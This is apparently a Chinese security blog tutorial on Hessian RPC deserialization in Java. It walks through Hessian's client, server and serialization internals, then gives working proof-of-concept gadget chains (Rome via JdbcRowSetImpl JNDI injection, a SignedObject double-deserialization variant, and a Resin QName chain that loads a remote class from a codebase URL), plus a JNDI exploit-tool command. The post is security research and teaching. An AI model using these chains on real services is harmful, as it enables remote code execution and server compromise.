Javaweb安全——Hessian 反序列化

Hessian 反序列化

Hessian基础

Hessian类似于RMI也是一种 RPC(Remote Produce Call)的实现。基于HTTP协议,使用二进制消息进行客户端和服务器端交互。

Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

基础使用

Hessian源码分析--总体架构_Hessian

pom.xml添加依赖,项目结构那再添加依赖到lib

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.66</version>
</dependency>

image-20230125184142403

通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。

  • 定义一个远程接口的接口。
public interface Service {
    String getTime();
}
  • 定义一个实现该接口的类,并使用注解配置Servlet(也可通过web.xml配置)
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;

@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {

    @Override
    public String getTime() {
        return "当前时间为:"+ LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
    }
}

客户端:

import com.caucho.hessian.client.HessianProxyFactory;
import java.net.MalformedURLException;

public class Client {
    public static void main(String[] args) throws MalformedURLException {
        String url="http://localhost:8081/hessian";
        HessianProxyFactory factory=new HessianProxyFactory();
        Service service=(Service) factory.create(Service.class, url);
        System.out.println(service.getTime());
    }
}

image-20230125184214472

远程调用过程

Client

HessianProxy是Client端的核心类,用来代理客户端对远程接口的调用。既然是动态代理就主要关注其invoke方法的逻辑。

image-20230126023609071

在方法调用处下断点,进入com.caucho.hessian.client.HessianProxy#invoke方法。

  • 获取方法名和参数类型,以及对于equals和hashCode特殊处理。

  • 获取输入流,调用sendRequest函数向server发送请求,包括函数名及函数的参数得到连接对象

    • com.caucho.hessian.client.HessianProxy#sendRequest函数中,在得到连接后用out.call调用远程方法

  • 从连接中得到返回的结果,返回的二进制值存在is中

image-20230126034002675

  • 对返回值进行处理,根据code值选择对应的版本进行读取

image-20230126034024045

Server

HessianSkeleton是Server端的核心类,从输入流中反序列化出Client端调用的方法和参数,对Server端服务进行调用并返回结果。

image-20230126015654534

直接在被调用的方法处打断点开始调试,从com.caucho.hessian.server.HessianServlet开始看。

image-20230125184532383

com.caucho.hessian.server.HessianServlet#service是相关处理的起始位置。

  • Hessian仅支持POST,不符则返回500状态码
  • 会获取请求中的id或者ejbid参数(可以导致调用不同的实体 Beans)作为objectId
  • 最后返回ContentType为x-application/hessian的响应

image-20230125184840775

com.caucho.hessian.server.HessianServlet#invoke根据 objectID 是否为空进行调用,

image-20230125205312495

接着进入com.caucho.hessian.server.HessianSkeleton#invoke(java.io.InputStream, java.io.OutputStream, com.caucho.hessian.io.SerializerFactory)方法。

Hessian源码分析–HessianSkeleton

HessianSkeleton是Hessian的服务端的核心,简单总结来说:HessianSkeleton根据客户端请求的链接,获取到需要执行的接口及实现类,对客户端发送过来的二进制数据进行反序列化,获得需要执行的函数及参数值,然后根据函数和参数值执行具体的函数,接下来对执行的结果进行序列化然后通过连接返回给客户端。

  • 读取协议头
  • 根据协议头使用对应的输入输出流(适应hessian/hessian2混用)
  • 输入输出流设置序列化工厂类

image-20230126004213371

image-20230126004131154

接着调用com.caucho.hessian.server.HessianSkeleton#invoke(java.lang.Object, com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)方法进一步处理。

  • 获取调用方法名和参数长度,再根据此信息得到该方法
  • else if ("_hessian_getAttribute...那应该是匹配xml配置servlet的写法

image-20230126004046797

  • 获取方法参数类型
  • 根据参数类型反序列化得到参数值
  • 再根据service反射调用对应实例的方法

image-20230126003942565

序列化与反序列化

序列化相关类的主体结构如下:

image-20230126034734323

详细流程图可以参考:Hession反序列化流程

Hessian 定义了 AbstractHessianInput/AbstractHessianOutput 两个抽象类,用来提供序列化数据的读取和写入功能。

默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。

序列化

同样,在上面过程中也可以发现,在子类com.caucho.hessian.io.Hessian2Output的具体实现中,提供了 call 相关方法执行方法调用,writeXXX 方法进行序列化数据的写入。

为了方便下面的调试可以修改一下上面的客户端服务端,增加一个实体类,将返回类型设置为该类。

如server端写入返回结果的时候,先调用writeReply方法再调用writeObject进行对象写入

image-20230126231710263

image-20230126231651024

com.caucho.hessian.io.Hessian2Output#writeObject根据指定的类型获取序列化器 Serializer 的实现类,并调用其 writeObject 方法序列化数据。

image-20230126233050876

这里返回的是自定义的Time类,但对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer

UnsafeSerializer#writeObject 会调用对应协议版本的 writeObjectBegin 方法。

主要逻辑为先获取Class的引用次数,如果Class已经引用过了则不需要重新解析,直接写入对象即可;

如果Class没有引用过则先写入类的定义,包括属性的个数和依次写入所有属性的名称。然后在写入类的名称,最后再执行writeInstance方法写入实例对象。

image-20230126234857353

返回值的定义在各版本中有所不同

  • Hessian 2 中会写入自定义类型。进入else if 将会调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据

image-20230126233650415

  • Hessian 1 中没有重写该方法将自定义类型标记为 Map 类型。进入最后的else

image-20230126234019680

反序列化

看到com.caucho.hessian.client.HessianProxy#invoke客户端读取返回结果的部分

image-20230126235700909

对应协议版本的readReply会根据返回的预期类型进行读取

  • Hessian 2

image-20230126235820424

进入Hessian2Input#readObject(java.lang.Class)方法。主体是switch case 语句,在读取标识位后根据不同的数据类型调用相关的处理逻辑。

比如触发漏洞中常见的HashMap或者Map,在得到其反序列化器之后调用其readMap方法。

image-20230203222548330

Hessian2Input#readObject()中也是类似逻辑,

image-20230203223957322

com.caucho.hessian.io.SerializerFactory#readMap中也是获取对应的反序列化器,然后再调用其readMap方法。

image-20230203223602467

当然在这个Demo中是进入 case 'C' 加载自定义类型

image-20230203222640558

readObjectDefinition函数获取类定义,包括属性的个数和依次写入所有属性的名称。然后return处一个回调,进入另一个case语句。

com.caucho.hessian.io.Hessian2Input#readObjectInstance会去实例化类。

image-20230127000510605

instantiate 使用 unsafe 实例的 allocateInstance 直接创建类实例

image-20230127000953799

image-20230127000805623

  • Hessian 1

com.caucho.hessian.io.HessianInput#readObject(java.lang.Class) 没有针对 Object 的读取,而是都将其作为 Map 读取。

image-20230127002506995

上面提到Hessian 1序列化在写入自定义类型时会将其标记为 Map 类型,所以查看com.caucho.hessian.io.MapDeserializer#readMap方法,会根据类型创建不同的map,然后序列化读取。

image-20230127002821386

读取map键值的反序列化读取调用的是com.caucho.hessian.io.HessianInput#readObject()方法,然后再根据类型调用不同的deserializer

image-20230202012834358

image-20230202012921695

最后通过map.put设置键值对,这也是hessian反序列化漏洞成因。

Serializable

Hessian序列化不关注serialVersionUID,hessian序列化时把类的描述信息写入到byte[]中。且不允许任意代理,并且不支持自定义的集合比较器。

Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。

  • 序列化

    • 需要实现 java.io.Serializable 接口(默认)

    • 任意类序列化(_isAllowNonSerializable=true

  • 反序列化

    • 任意类序列化(判断在序列化过程中进行)

image-20230202015228560

image-20230202015308617

HessianOutput output = new HessianOutput(bao);
//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);

漏洞和利用链

Hessian各种反序列化链中和Map相关的触发都与put 键值对有关:

  • HashMap:

    • 处理如何连接链表时hash方法进行计算是否有相同的key,会调用 key 的 hashCode 方法。

    HashMap.readObject() -> HashMap.hash() -> XXX.hashCode()

    • 生成链表时会调用 key 的 equals 方法进行比较

      HashMap.readObject() -> HashMap.putVal() -> XXX.equals()(jdk7u21中用到过)

  • TreeMap:

    • 排序时通过 compare 方法进行比较,会调用 key 的 compareTo 方法。

所以在Hessian的反序列化利用链中,起始方法只能为hashCode/equals/compareTo 方法。

marshalsec集成了Hessian反序列化的gadget

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringPartiallyComparableAdvisorHolder

Rome

hashCode触发

JdbcRowSetImpl

Gadget的原理前面写过(反序列化漏洞-Rome),核心是ToStringBean#toString()会调用其封装类的所有无参 getter方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

image-20230201173247588

触发调用是通过HashMap在 put 键值对会调用HashMap<K,V>.hash(Object)方法校验重复key,从而调用ObjectBean.hashCode()

依赖换成了和marshalsec一样的rometools,JDK版本为8u111(方便打JNDI)

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

要修改下ObjectBean类属性名

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/2hig5s";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean extObjectBean = new ObjectBean(String.class,"test");
Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);

deserialize(serialize(expMap));

工具类方法如下:

public static <T> byte[] serialize(T o) throws IOException {
    ByteArrayOutputStream bao = new ByteArrayOutputStream();
    HessianOutput output = new HessianOutput(bao);
    output.writeObject(o);
    System.out.println(bao.toString());
    return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
    ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
    HessianInput input = new HessianInput(bai);
    Object o = input.readObject();
    return (T) o;
}

public static void setFieldValue(Object obj, String name, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

利用工具起一个JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

image-20230201172957101

二次反序列化

java.security.SignedObject 的getter方法存在二次反序列化

image-20230201231924098

这里二次序列化用的是HashMap#readObject()方法去再次触发Rome链。

public class HessianRome2 {
    public static void main(String[] args) throws Exception {
        HashMap TI_Map = makeMap(Templates.class,generateTemplatesImpl());
        //生成私钥
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        //生成签名对象
        Signature signingEngine = Signature.getInstance("DSA");;
        SignedObject so = new SignedObject(TI_Map, privateKey, signingEngine);

        Map expMap = makeMap(SignedObject.class,so);
        
        deserialize(serialize(expMap));
    }
    public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
        ToStringBean toStringBean = new ToStringBean(expectedClass, o);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean extObjectBean = new ObjectBean(String.class,"test");
        HashMap expMap = new HashMap();
        expMap.put(extObjectBean, "test");
        SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);
        return expMap;
    }
}

这里有点疑问,为什么不直接用Rome反序列化链。尝试无果,调试可见在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses获取类加载器的时候空指针报错,原因是TemplatesImpl#_tfactory属性为null。

image-20230202003403104

正常情况是这样的

image-20230202004350693

这是因为_tfactory是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在TemplatesImpl#readObject中重新设置进去的。

image-20230202004946925

在hessian反序列化中读取属性时可以发现压根就没写入这个属性

image-20230202014533184

在hessian序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

image-20230202015021051

https://su18.org/post/hessian/#serializable

在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在 writeObject/readObject 中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。

Resin

equals触发

添加依赖如下:

<!-- contains QName -->
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>quercus</artifactId>
    <version>4.0.45</version>
</dependency>

调用链

XString#equals
  QName#toString
    ContinuationContext#composeName(java.lang.String, java.lang.String)
      ContinuationContext#getTargetContext
	    NamingManager#getContext
  		  NamingManager#getObjectInstance 
   		    NamingManager#getObjectFactoryFromReference

NamingManager#getObjectInstance那就很明显了,其实就是加载远程的ObjectFactory。前面使用HashMap在比较中调用key.equals方法,即com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)来触发。

image-20230203001802835

在putVal的时候,hash一样所以进入后面的 key.equals(k) ;传进去的k就是QName对象,然后再调用其toString方法。

image-20230203022809380

com.caucho.naming.QName#toString

image-20230203001407021

javax.naming.spi.ContinuationContext#composeName(java.lang.String, java.lang.String)

image-20230203001323353

javax.naming.spi.ContinuationContext#getTargetContext

image-20230203000956771

javax.naming.spi.NamingManager#getContext

image-20230203000930486

简单实现一下,弹个计算器

// 定义一个远程的class 包含一个恶意攻击的对象的工厂类
        String codebase = "http://127.0.0.1:8180/";
        // 对象的工厂类名
        String classFactory = "ExecTemplateJDK8";
        //实例化一个CannotProceedException对象,并设置远程对象
        CannotProceedException cpe = new CannotProceedException();
        cpe.setResolvedObj(new Reference("Foo", classFactory, codebase));
        //通过反射实例化ContinuationDirContext类
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());
        QName qName = new QName(ctx, "foo", "bar");
        //根据qName计算hash碰撞值
        String unhash = unhash(qName.hashCode());
        XString xString = new XString(unhash);
        //xString在存入时hash值和前面的qName一样,就会调用key.equals进行判断 触发调用
        HashMap expMap = new HashMap();
        expMap.put(qName, "test");
        expMap.put(xString, "test");

        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        //序列化没有实现java.io.Serializable接口的类
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(expMap);
        deserialize(bao.toByteArray());

hash碰撞的函数如下,搁老外这抄的https://bchetty.com/blog/hashcode-of-string-in-java

private static String unhash(int hash) {
    int target = hash;
    StringBuilder answer = new StringBuilder();
    if ( target < 0 ) {
        // String with hash of Integer.MIN_VALUE, 0x80000000
        answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

        if ( target == Integer.MIN_VALUE )
            return answer.toString();
        // Find target without sign bit set
        target = target & Integer.MAX_VALUE;
    }

    unhash0(answer, target);
    return answer.toString();
}

private static void unhash0 ( StringBuilder partial, int target ) {
    int div = target / 31;
    int rem = target % 31;

    if ( div <= Character.MAX_VALUE ) {
        if ( div != 0 )
            partial.append((char) div);
        partial.append((char) rem);
    }
    else {
        unhash0(partial, div);
        partial.append((char) rem);
    }
}

还是用的JNDI-Injection-Exploit的http服务来加载恶意.class文件

image-20230203023201307

参考

Hessian源码分析–总体架构

Hessian 反序列化知一二

hessian实现(客户端服务端在同一个项目中)

marshalsec.pdf 中文翻译 Java Unmarshaller Security (将您的数据转化为代码执行)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值